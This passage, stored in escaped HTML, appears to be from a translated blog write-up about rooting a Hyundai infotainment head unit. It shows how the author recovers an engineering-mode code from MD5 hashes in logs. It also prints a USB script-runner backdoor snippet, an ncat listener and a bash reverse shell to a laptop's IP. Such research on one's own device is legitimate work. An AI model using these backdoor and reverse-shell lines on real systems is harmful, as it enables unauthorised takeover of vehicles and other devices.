\u0432\u044b\u0439\u0442\u0438 \u0438\u0437 \u044d\u0442\u043e\u0433\u043e \u0446\u0438\u043a\u043b\u0430, \u043d\u0430\u0436\u0430\u0432 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u0441\u043a\u0440\u0435\u043f\u043a\u0438 \u043a\u043d\u043e\u043f\u043a\u0443 \u0441\u0431\u0440\u043e\u0441\u0430 \u043d\u0430 \u043f\u0435\u0440\u0435\u0434\u043d\u0435\u0439 \u043f\u0430\u043d\u0435\u043b\u0438 IVI.<\/p>\n<h1>\u0410 \u0442\u0435\u043f\u0435\u0440\u044c \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e<\/h1>\n<p>  \u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0432 \u0441\u0432\u043e\u0438 \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0438 \u0441\u043e\u0437\u0434\u0430\u0432 \u043d\u043e\u0432\u044b\u0439 \u0444\u0430\u0439\u043b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u044f \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u043b \u0435\u0433\u043e \u043d\u0430 USB-\u043d\u0430\u043a\u043e\u043f\u0438\u0442\u0435\u043b\u044c, \u043d\u0430\u0436\u0430\u043b \u043d\u0430 Update, \u0438\u2026 \u0421\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e! \u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0437\u0430\u043d\u044f\u043b\u043e \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0432\u0440\u0435\u043c\u044f, \u043d\u043e \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u044d\u043a\u0440\u0430\u043d \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b \u043f\u0435\u0440\u0432\u044b\u0439 \u044d\u0442\u0430\u043f, \u044f \u0431\u044b\u043b \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0443\u0432\u0435\u0440\u0435\u043d, \u0447\u0442\u043e \u0432\u0441\u0451 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c.<\/p>\n<p>  \u0417\u0430\u0442\u0435\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u0438\u043b\u0430\u0441\u044c \u0438 \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0432\u0441\u0451 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442. \u0422\u0435\u043f\u0435\u0440\u044c \u043c\u043d\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u043e\u0441\u0442\u0430\u0432\u0430\u043b\u043e\u0441\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u043d\u043e\u0432\u043e\u0433\u043e \u0431\u044d\u043a\u0434\u043e\u0440\u0430.<\/p>\n<h1>\u041f\u0440\u043e\u0445\u043e\u0434\u0438\u043c \u0447\u0435\u0440\u0435\u0437 \u0431\u044d\u043a\u0434\u043e\u0440<\/h1>\n<p>  \u042f \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u043b \u043d\u0430 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0435 \u0431\u0435\u0441\u043f\u0440\u043e\u0432\u043e\u0434\u043d\u043e\u0435 Android Auto \u0438 \u0441\u0434\u0430\u043c\u043f\u0438\u043b \u043b\u043e\u0433\u0438 \u043d\u0430 \u0444\u043b\u044d\u0448-\u043d\u0430\u043a\u043e\u043f\u0438\u0442\u0435\u043b\u044c, \u0447\u0442\u043e\u0431\u044b \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u044c Wi-Fi. \u041f\u043e\u0441\u043b\u0435 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0430 \u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u043b \u043d\u043e\u0443\u0442\u0431\u0443\u043a \u043a Wi-Fi \u0438 \u0437\u0430\u0434\u0430\u043b IP-\u0430\u0434\u0440\u0435\u0441 192.168.0.2. \u0417\u0430\u0442\u0435\u043c \u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b <code>ncat<\/code> \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0440\u0442\u0430 4242 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u044b:<\/p>\n<pre><code class=\"bash\">ncat -l -p 4242<\/code><\/pre>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c \u043c\u043d\u0435 \u043e\u0441\u0442\u0430\u0432\u0430\u043b\u043e\u0441\u044c \u043b\u0438\u0448\u044c \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c Guider \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 (Engineering Mode). \u042f \u0437\u0430\u0448\u0451\u043b \u043d\u0430 \u044d\u043a\u0440\u0430\u043d Settings, \u043a\u043e\u0441\u043d\u0443\u043b\u0441\u044f \u0434\u0435\u0441\u044f\u0442\u044c \u0440\u0430\u0437 \u0441\u043b\u0435\u0432\u0430 \u043e\u0442 \u043a\u043d\u043e\u043f\u043a\u0438 Update \u0438 \u043e\u0434\u0438\u043d \u0440\u0430\u0437 \u0441\u043f\u0440\u0430\u0432\u0430 \u043e\u0442 \u043a\u043d\u043e\u043f\u043a\u0438 Update, \u0432\u0432\u0451\u043b \u043a\u043e\u0434 2400, \u0438\u2026 <\/p>\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/0a4\/717\/cd6\/0a4717cd6e6f540f5347803ebbe1690e.png\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/0a4\/717\/cd6\/0a4717cd6e6f540f5347803ebbe1690e.png\"\/><\/div>\n<p>  \u041a\u043e\u0434 \u0440\u0435\u0436\u0438\u043c\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b? \u0414\u043e\u043b\u0436\u043d\u043e \u0431\u044b\u0442\u044c, Mobis \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u0430 \u043a\u043e\u0434. \u041a \u0441\u0447\u0430\u0441\u0442\u044c\u044e, \u044f \u0437\u043d\u0430\u043b, \u0447\u0442\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0440\u0435\u0436\u0438\u043c\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0432 \u043b\u043e\u0433 Logcat (\u0438\u043b\u0438, \u043f\u043e \u043a\u0440\u0430\u0439\u043d\u0435\u0439 \u043c\u0435\u0440\u0435, \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u043e) \u0445\u044d\u0448 \u043d\u0443\u0436\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u044f \u0441\u043d\u043e\u0432\u0430 \u0441\u0434\u0430\u043c\u043f\u0438\u043b \u043b\u043e\u0433 \u043d\u0430 \u043d\u0430\u043a\u043e\u043f\u0438\u0442\u0435\u043b\u044c \u0438 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u043b \u0435\u0433\u043e.<\/p>\n<p>  \u0418\u0437\u0443\u0447\u0430\u044f \u043b\u043e\u0433\u0438, \u044f \u0443\u0432\u0438\u0434\u0435\u043b \u043f\u0430\u0440\u0443 \u0437\u0430\u043f\u0438\u0441\u0435\u0439, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 Engineering Mode Password Display. \u0412 \u043d\u0438\u0445 \u0432\u044b\u0432\u043e\u0434\u0438\u043b\u0438\u0441\u044c \u0442\u0440\u0438 \u0445\u044d\u0448\u0430 MD5.<\/p>\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/869\/1d8\/31a\/8691d831aa3f494cea63d7b8aeac335b.png\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/869\/1d8\/31a\/8691d831aa3f494cea63d7b8aeac335b.png\"\/><\/div>\n<p>  <\/p>\n<ul>\n<li>md5Year \u2014 \u044d\u0442\u043e \u0445\u044d\u0448 \u0441\u0442\u0440\u043e\u043a\u0438 \u201c02\u201d<\/li>\n<li>md5Password1 \u2014 \u044d\u0442\u043e \u0445\u044d\u0448 \u0441\u0442\u0440\u043e\u043a\u0438 \u201c24\u201d<\/li>\n<li>md5Password2 \u2014 \u044d\u0442\u043e \u0445\u044d\u0448 \u0441\u0442\u0440\u043e\u043a\u0438 \u201c00\u201d<\/li>\n<\/ul>\n<p>  \u0422\u043e \u0435\u0441\u0442\u044c \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0447\u0442\u043e md5Password(n) \u2014 \u044d\u0442\u043e \u043a\u0430\u0436\u0434\u044b\u0435 \u0434\u0432\u0435 \u0446\u0438\u0444\u0440\u044b \u0432\u0432\u0435\u0434\u0451\u043d\u043d\u043e\u0433\u043e \u043c\u043d\u043e\u0439 \u043a\u043e\u0434\u0430, \u0430 md5Year, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0438\u0437 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0433\u043e\u0434\u0430 \u0438 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u0432\u0443\u043c\u044f \u0446\u0438\u0444\u0440\u0430\u043c\u0438 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u043e\u0433\u043e \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.<\/p>\n<p>  \u041d\u043e \u0435\u0441\u043b\u0438 \u044d\u0442\u043e \u0442\u0430\u043a, \u0442\u043e \u043c\u043d\u0435 \u043d\u0435 \u0445\u0432\u0430\u0442\u0430\u0435\u0442 \u0434\u0432\u0443\u0445 \u0446\u0438\u0444\u0440, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044e \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043a\u043e\u0434 \u0438\u0437 \u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u0446\u0438\u0444\u0440. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u044f \u0432\u0435\u0440\u043d\u0443\u043b\u0441\u044f \u043a \u0440\u0435\u0432\u0435\u0440\u0441-\u0438\u043d\u0436\u0438\u043d\u0438\u0440\u0438\u043d\u0433\u0443 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0440\u0435\u0436\u0438\u043c\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430.<\/p>\n<p>  \u042f \u043d\u0430\u0448\u0451\u043b \u0444\u0443\u043d\u043a\u0446\u0438\u044e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0443\u044e \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043a\u043e\u0434\u0430, \u0438 \u0443\u0432\u0438\u0434\u0435\u043b \u0441\u0442\u0440\u043e\u043a\u0443-\u043a\u043e\u043d\u0441\u0442\u0430\u043d\u0442\u0443, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0443\u044e \u0445\u044d\u0448. \u041f\u0440\u0438 \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u0438 \u0445\u044d\u0448\u0430 \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u043e\u043d \u043e\u0442\u043d\u043e\u0441\u0438\u043b\u0441\u044f \u043a \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044e \u201c38\u201d.<\/p>\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/a83\/039\/f2c\/a83039f2cabd4d7919ad4a941b52ba49.png\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/a83\/039\/f2c\/a83039f2cabd4d7919ad4a941b52ba49.png\"\/><\/div>\n<p>  \u0421\u0443\u0434\u044f \u043f\u043e \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0439 \u0447\u0430\u0441\u0442\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u043c\u043d\u0435 \u043d\u0443\u0436\u043d\u044b \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 md5Year \u0438 \u201c38\u201d, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u044f \u0440\u0435\u0448\u0438\u043b \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0438\u0445 \u0432 \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u0435.<\/p>\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/80b\/ede\/8e5\/80bede8e5d09c0385b06c19ece4db5b9.png\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/80b\/ede\/8e5\/80bede8e5d09c0385b06c19ece4db5b9.png\"\/><\/div>\n<p>  \u041f\u043e\u0441\u043b\u0435 \u0432\u0432\u043e\u0434\u0430 \u043a\u043e\u0434\u0430 \u201c3802\u201d \u043f\u043e\u044f\u0432\u0438\u043b\u043e\u0441\u044c \u043d\u043e\u0432\u043e\u0435 \u043f\u0443\u0433\u0430\u044e\u0449\u0435\u0435 \u0432\u0441\u043f\u043b\u044b\u0432\u0430\u044e\u0449\u0435\u0435 \u043e\u043a\u043d\u043e:<\/p>\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/6e9\/5a6\/504\/6e95a65043f2cde1cf42207f459a8728.png\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/6e9\/5a6\/504\/6e95a65043f2cde1cf42207f459a8728.png\"\/><\/div>\n<p>  \u041f\u043e\u0445\u043e\u0436\u0435, Mobis \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0430 \u043d\u043e\u0432\u043e\u0435 \u043e\u043a\u043d\u043e \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u043f\u0440\u0438 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0435 \u0432 \u0440\u0435\u0436\u0438\u043c \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430.<\/p>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c \u043c\u043d\u0435 \u043e\u0441\u0442\u0430\u0432\u0430\u043b\u043e\u0441\u044c \u043b\u0438\u0448\u044c \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c Guider, \u0447\u0442\u043e\u0431\u044b \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043c\u043e\u0439 \u0431\u044d\u043a\u0434\u043e\u0440. \u042f \u043f\u0435\u0440\u0435\u0448\u0451\u043b \u043d\u0430 \u044d\u043a\u0440\u0430\u043d Guider, \u043d\u0430\u0436\u0430\u043b \u043a\u043d\u043e\u043f\u043a\u0443 Start \u0438 \u043f\u043e\u0434\u043e\u0436\u0434\u0430\u043b, \u043f\u043e\u043a\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u0441\u044f \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u0439 \u0448\u0435\u043b\u043b Python.<\/p>\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/c26\/a2d\/4a5\/c26a2d4a552bb25077f27ce03f9ea6a5.png\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/c26\/a2d\/4a5\/c26a2d4a552bb25077f27ce03f9ea6a5.png\"\/><\/div>\n<p>  \u041d\u0438\u0447\u0435\u0433\u043e.<\/p>\n<p>  \u041e\u0431\u0440\u0430\u0442\u043d\u044b\u0439 \u0448\u0435\u043b\u043b Python \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u043b. \u042f \u043d\u0435 \u0432\u0434\u0430\u0432\u0430\u043b\u0441\u044f \u0432 \u0430\u043d\u0430\u043b\u0438\u0437 \u0442\u043e\u0433\u043e, \u043f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u043e, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0443 \u043c\u0435\u043d\u044f \u0431\u044b\u043b \u043e\u0447\u0435\u043d\u044c \u0443\u0434\u043e\u0431\u043d\u044b\u0439 \u0437\u0430\u043f\u0430\u0441\u043d\u043e\u0439 \u043f\u043b\u0430\u043d: USB Script Runner\u2122.<\/p>\n<h1>\u0417\u0430\u043f\u0430\u0441\u043d\u043e\u0439 \u043f\u043b\u0430\u043d<\/h1>\n<p>  \u041a \u0441\u0447\u0430\u0441\u0442\u044c\u044e, \u0443 \u043c\u0435\u043d\u044f \u043e\u0441\u0442\u0430\u0432\u0430\u043b\u0441\u044f \u0431\u044d\u043a\u0434\u043e\u0440 USB Script Runner\u2122.<\/p>\n<pre><code class=\"bash\">echo \"Finding USB Script\" USB_SCRIPT_PATH=$(find \/run\/media\/ -path \"*1C207FCE3065.sh\" 2>\/dev\/null)  if [ -n \"$USB_SCRIPT_PATH\" ] then echo \"Running USB Script\" USB_SCRIPT_CONTENT=$(cat $USB_SCRIPT_PATH) bash -c \"$USB_SCRIPT_CONTENT\" &amp; fi<\/code><\/pre>\n<p>  \u0415\u0441\u043b\u0438 \u043e\u043d \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u0442\u043e \u044f \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u0441\u043c\u043e\u0433\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0435. \u042f \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u043b \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0433\u043e \u0448\u0435\u043b\u043b\u0430 bash \u0432 \u0444\u0430\u0439\u043b <code>1C207FCE3065.sh<\/code> \u0432 \u043a\u043e\u0440\u043d\u0435 \u0444\u043b\u044d\u0448-\u043d\u0430\u043a\u043e\u043f\u0438\u0442\u0435\u043b\u044f:<\/p>\n<pre><code class=\"bash\">\/bin\/bash -i >&amp; \/dev\/tcp\/192.168.0.3\/4242 0>&amp;1 &amp;<\/code><\/pre>\n<p>  \u041f\u043e\u0441\u043b\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u044d\u0442\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u043e\u043d \u0434\u043e\u043b\u0436\u0435\u043d \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0442\u044c\u0441\u044f \u043a \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u043e\u043c\u0443 IP-\u0430\u0434\u0440\u0435\u0441\u0443 \u043d\u043e\u0443\u0442\u0431\u0443\u043a\u0430 (192.168.0.3) \u0438 \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0439 \u0448\u0435\u043b\u043b bash \u043d\u0430 ncat \u0432 \u043f\u043e\u0440\u0442\u0435 4242.<\/p>\n<p>  \u042f \u043f\u0440\u043e\u0441\u0442\u043e \u0432\u0441\u0442\u0430\u0432\u0438\u043b USB, \u0441\u043d\u043e\u0432\u0430 \u043d\u0430\u0436\u0430\u043b \u00abStart Guider\u00bb, \u0438\u2026<\/p>\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/d13\/020\/a94\/d13020a9436fa3d25eb2622037f3e0cc.png\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/d13\/020\/a94\/d13020a9436fa3d25eb2622037f3e0cc.png\"\/><\/div>\n<p>  <\/p>\n<h1>\u041c\u044b \u0432\u043d\u0443\u0442\u0440\u0438<\/h1>\n<p>  \u042f \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0431\u044d\u043a\u0434\u043e\u0440-\u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0435. \u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043b <code>whoami<\/code>, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c, \u043f\u043e\u0434 \u043a\u0430\u043a\u0438\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u044f \u0440\u0430\u0431\u043e\u0442\u0430\u044e:<\/p>\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/9a6\/68c\/9bd\/9a668c9bdc07a8b8ff41bd3b2b9e6511.png\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/9a6\/68c\/9bd\/9a668c9bdc07a8b8ff41bd3b2b9e6511.png\"\/><\/div>\n<p>  \u0423 \u043c\u0435\u043d\u044f \u0431\u044b\u043b \u043f\u043e\u043b\u043d\u044b\u0439 root-\u0434\u043e\u0441\u0442\u0443\u043f. \u041f\u0435\u0440\u0432\u044b\u043c \u0434\u0435\u043b\u043e\u043c \u044f \u0441\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438: \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u043b \u043d\u0430 \u043d\u0430\u043a\u043e\u043f\u0438\u0442\u0435\u043b\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u043f\u0430\u043f\u043e\u043a, \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u044b <code>netstat<\/code>, \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f <code>df<\/code> \u0438 \u0442\u043e\u043c\u0443 \u043f\u043e\u0434\u043e\u0431\u043d\u043e\u0435.<\/p>\n<p>  \u0422\u0430\u043a \u043a\u0430\u043a \u0442\u0435\u043e\u0440\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0443 \u043c\u0435\u043d\u044f \u0442\u0435\u043f\u0435\u0440\u044c \u0431\u044b\u043b \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 IVI, \u0442\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043b\u043e\u0433\u0438\u0447\u043d\u044b\u043c \u0448\u0430\u0433\u043e\u043c \u0431\u0443\u0434\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0434\u043b\u044f \u043d\u0435\u0451 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439.<\/p>\n<h1>\u0427\u0430\u0441\u0442\u044c 3: \u0441\u043e\u0437\u0434\u0430\u0451\u043c \u041f\u041e<\/h1>\n<p>  \u041f\u043e \u043f\u0440\u0438\u0440\u043e\u0434\u0435 \u0441\u0432\u043e\u0435\u0439 \u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0441\u0442. \u041f\u043e\u043b\u0443\u0447\u0438\u0432 root-\u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043d\u043e\u0432\u043e\u043c\u0443 \u043a\u0440\u0443\u0442\u043e\u043c\u0443 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0443 \u0441 Linux, \u044f \u043f\u0440\u043e\u0441\u0442\u043e \u043e\u0431\u044f\u0437\u0430\u043d \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0434\u043b\u044f \u043d\u0435\u0433\u043e \u041f\u041e.<\/p>\n<h1>\u0426\u0435\u043b\u044c<\/h1>\n<p>  \u0418\u0437\u0443\u0447\u0430\u044f \u0432\u0441\u0451 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0444\u0430\u0439\u043b\u043e\u0432 IVI, \u044f \u043d\u0430\u0448\u0451\u043b \u043a\u0443\u0447\u0443 \u043a\u0440\u0443\u0442\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432 C++, \u043e\u0442\u043d\u043e\u0441\u044f\u0449\u0438\u0445\u0441\u044f \u043a ccOS \u0432 <code>\/usr\/include<\/code>.<\/p>\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/06c\/dfe\/58a\/06cdfe58a5a82fe49c3902f8a436a35f.png\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/06c\/dfe\/58a\/06cdfe58a5a82fe49c3902f8a436a35f.png\"\/><\/div>\n<p>  ccOS \u2014 \u044d\u0442\u043e Connected Car Operating System. \u042d\u0442\u0430 \u041e\u0421, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u0430\u044f Nvidia \u0438 Hyundai, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0430 \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f <a href=\"https:\/\/www.iottechnews.com\/news\/2020\/nov\/10\/hyundai-ccos-nvidia-powered-connected-cars\/\" rel=\"nofollow noopener noreferrer\">\u0432\u0441\u0435\u043c\u0438 \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u044f\u043c\u0438 Hyundai 2022 \u0433\u043e\u0434\u0430 \u0438 \u0434\u0430\u043b\u0435\u0435<\/a>, \u043d\u043e \u043f\u043e\u0434\u043e\u0437\u0440\u0435\u0432\u0430\u044e, \u0447\u0442\u043e \u0447\u0430\u0441\u0442\u044c \u044d\u0442\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0443\u0436\u0435 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0434\u0430\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0432 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0445 \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u044f\u0445 Hyundai. \u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u0441\u0442\u0430\u0440\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0438 \u043e 